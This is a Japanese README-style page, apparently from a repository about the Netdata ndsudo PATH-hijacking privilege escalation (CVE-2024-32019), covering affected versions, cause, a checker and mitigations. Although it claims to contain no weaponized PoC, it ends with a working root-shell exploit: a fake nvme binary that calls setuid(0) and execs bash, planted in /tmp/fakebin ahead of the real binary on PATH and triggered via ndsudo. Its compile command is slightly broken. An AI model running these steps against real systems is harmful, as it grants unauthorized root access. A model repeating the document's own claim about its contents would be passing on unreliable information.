
ndsudo ローカル権限昇格Netdata の ndsudo ヘルパー(setuid root でインストールされる)は、実行するコマンドを制限しているが、呼び出し元の PATH を使用してそれらのコマンドを解決する。影響を受けるバージョンでは、ローカルユーザーが PATH のより前方に悪意のあるバイナリを配置することで、ndsudo にそれを root 権限で実行させることができる。Netdata 1.45.3 および 1.45.0-169 で修正済み。
影響を受ける: >= 1.44.0-60, < 1.45.0-169 および >= 1.45.0, < 1.45.3(上流のアドバイザリによる)。
修正済み: 1.45.3(安定版)、1.45.0-169(ナイトリービルド)。GitHub
ndsudo が SUID でインストールされ、ユーザーがそれを呼び出せるシステム(一般には netdata グループのメンバー)において、ローカルでの root への権限昇格。NVDGitHub
ndsudo は SUID-root であり、nvme-list、nvme-smart-log などのサブコマンドをホワイトリスト方式で許可している。
外部実行ファイルを名前(例: nvme)で呼び出しており、絶対パスや安全で固定された検索を使用するのではなく、PATH を介して解決される。
書き込み可能なディレクトリがシステムパスより前に存在する場合、攻撃者は類似したバイナリを配置し、それが root として実行される。GitHub
このリポジトリには、以下のことを行う 非エクスプロイトのチェッカー が含まれている:
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo(またはインストールされている場所)の SUID/所有権を検査する。
一般的なシステムパスより前に存在する 書き込み可能なディレクトリ を PATH から列挙する。
ndsudo が実行しようとする可能性のあるホワイトリスト済みサブコマンド名の存在を確認する。
オプションで ndsudo --test <subcommand> を実行し、解決されたコマンドを 実行せずに 表示する(注意して使用し、まずコードを読むこと)。GitHub
⚠️ 武器化された PoC は含まれていない。このプロジェクトは、防御担当者や研究者が 露出を評価 し、責任を持って パッチを検証 するためのものである。
Netdata を 1.45.3(安定版)または 1.45.0-169(ナイトリービルド)に アップグレード する。
多層防御の手段として、SUID ヘルパーでは 絶対パス またはサニタイズされた最小限の PATH を優先し、不要な ndsudo アクセスを許可しないようにする。GitHubwiz.io
nvme.c として保存する:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATH を変更するexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019。NVD
Netdata アドバイザリ(GHSA-pmhq-4cxq-wj93)。GitHub
Wiz の概要。wiz.io
Snyk の記事。Vulnerability Guide
MITRE/CVE リスト。CVE